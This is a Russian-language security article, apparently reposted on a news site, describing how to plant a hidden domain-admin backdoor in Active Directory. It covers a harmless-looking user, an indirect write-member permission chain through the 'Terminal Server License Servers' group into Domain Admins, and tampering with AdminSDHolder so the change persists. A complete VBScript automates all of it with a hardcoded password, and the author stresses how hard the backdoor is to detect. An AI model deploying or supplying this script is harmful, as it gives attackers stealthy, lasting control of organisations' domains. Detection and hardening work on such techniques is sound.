Backdoor в Active Directory

Backdoor в Active Directory
В свое время, менее года назад, на хабре мелькала публикация с аналогичным заголовком [ 1 ]. В ней автор предлагал способ по сокрытию привилегий администратора домена путем использования в качестве контейнера, для размещения "скрытой" учетной записи, служебное хранилище "Program data", в совокупностью с агрессивным разграничением прав с целью предотвращения доступа к "спрятанной" учетной записи. Однако, несмотря на заверения автора, обнаружение "скрытой" учетной записи и ее последующее удаление можно было выполнить всего в несколько кликов. Т.е. предложенный подход на практике будет не работоспособен. Но может быть существует более подходящая альтернатива этому способу (в том числе без использования руткитов на контроллерах домена:))? name='more'> Как говорил один известный писатель детективных романов: - Где лучше всего спрятать лист? - В осеннем лесу! - Где лучше всего спрятать камень? - На морском берегу! - А где лучше всего спрятать труп? - На поле сражения. Проводя параллель с каталогом домена можно придерживаться следующей стратегии: - Идентификатор backdoor лучше не прятать, а держать в одном контейнере с большим скоплением других идентификаторов пользователей. При этом создаваемый идентификатор должен быть максимально похож на самую обычную корпоративную учетную запись. - Идентификатор backdoor не должен непосредственно являться членом групп с расширенными привилегиями в домене. Для этого лучше использовать возможности контроля доступа, как показано на картинке ниже. - Не совсем разумно "светить" идентификатор backdoor пользователя даже в списках контроля доступа у групп с расширенными привилегиями в домене. Более разумный подход расширение привилегий группам безопасности, которые уже являются участниками ACLs в списках контроля доступа у групп с расширенными привилегиями в домене. Для этих целей удачно подходит группа "BuiltinTerminal Server License Servers": Итак, для эффективного создания бэкдора, по описанному сценарию выше, требуется: 1. Завести неприметного пользователя; 2. Разрешить этому пользователю изменять список участников группы "BuiltinTerminal Server License Servers"; 3. Разрешить группе "BuiltinTerminal Server License Servers" изменять список участников группы, например, "Domain Admins". Тут стоит отметить небольшой нюанс. Просто так изменить список контроля доступа для группы "Domain Admins" не получится. Дело в том, что в архитектуре Active Directory предусмотрена защита списков контроля доступа наиболее чувствительных объектов (adminSDHolder, [ 2 ]), в их числе: - Enterprise Admins - Schema Admins - Domain Admins - Administrators - Domain Controllers - Cert Publishers - Backup Operators - Replicator Server Operators - Account Operators - Print Operators Для того чтобы вносимые изменения в список контроля доступа перечисленных выше групп не перезаписывались каждый час, требуется либо изменить шаблонный список контроля доступа на объекте "CN=AdminSDHolder,CN=System, <defaultNamingContext>", либо установить атрибут "adminCount" в ноль для требуемого объекта [ 3 ]. Перезаписать шаблонный список контроля доступа видится мне более перспективным т.к. не каждый администратор знаком с подобным "защитным" механизмом Active Directory. Для автоматизации "закладки" в Active Directory может использоваться сценарий, который приведен ниже. <br /> On Error Resume Next<br /> <br /> username = "PT"<br /> password = "P@ssw0rd"<br /> userDN = "cn=Users"<br /> <br /> joinGroupDN = "cn=Terminal Server License Servers, cn=Builtin"<br /> joinGroup = "BUILTINTerminal Server License Servers"<br /> <br /> adminsGroup = "CN=Domain Admins,CN=Users"<br /> <br /> Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN<br /> Set objSysInfo = CreateObject("ADSystemInfo")<br /> strUserDN = objSysInfo.userName<br /> Set objUser = GetObject("LDAP://" & strUserDN)<br /> <br /> Set objRoot = GetObject("LDAP://rootDSE")<br /> Set objContainer = GetObject("LDAP://" & userDN & "," & objRoot.Get("defaultNamingContext")) <br /> <br /> Set objUserCreate = objContainer.Create("User", "cn=" & username)<br /> objUserCreate.Put "sAMAccountName", username<br /> objUserCreate.SetInfo<br /> On Error Resume Next<br /> <br /> objUserCreate.SetPassword password<br /> objUserCreate.Put "userAccountControl", 66048<br /> objUserCreate.SetInfo<br /> On Error Resume Next<br /> <br /> GroupAddAce joinGroupDN,username<br /> GroupAddAce adminsGroup,joinGroup<br /> GroupAddAce "CN=AdminSDHolder,CN=System",joinGroup<br /> <br /> Function GroupAddAce(toGroup,forGroup)<br /> Dim objSdUtil, objSD, objDACL, objAce<br /> Set objGroup = GetObject ("LDAP://" & toGroup & "," & objRoot.Get("defaultNamingContext")) <br /> <br /> Set objSdUtil = GetObject(objGroup.ADsPath)<br /> Set objSD = objSdUtil.Get("ntSecurityDescriptor")<br /> Set objDACL = objSD.DiscretionaryACL<br /> Set objAce = CreateObject("AccessControlEntry")<br /> <br /> objAce.Trustee = forGroup<br /> objAce.AceFlags = 0<br /> objAce.AceType = 5<br /> objAce.AccessMask = 32<br /> objAce.Flags = 1<br /> objAce.ObjectType = "{BF9679C0-0DE6-11D0-A285-00AA003049E2}"<br /> objDacl.AddAce objAce<br /> <br /> objSD.DiscretionaryAcl = objDacl<br /> objSDUtil.Put "ntSecurityDescriptor", Array(objSD)<br /> objSDUtil.SetInfo<br /> <br /> End Function<br /> <br /> Стоит лишь добавить, что, несмотря на свою простоту, обнаружить подобную закладку без средств непрерывного автоматизированного контроля довольно сложно. А развивая идею можно подумать в сторону и более сложных закладок, например, разрешить пользователю управлять групповыми политиками для OU, содержащего контроллеры домена и т.п.
security Microsoft
Alt text

Подписывайтесь на каналы "SecurityLab" в TelegramTelegram и TwitterTwitter, чтобы первыми узнавать о новостях и эксклюзивных материалах по информационной безопасности.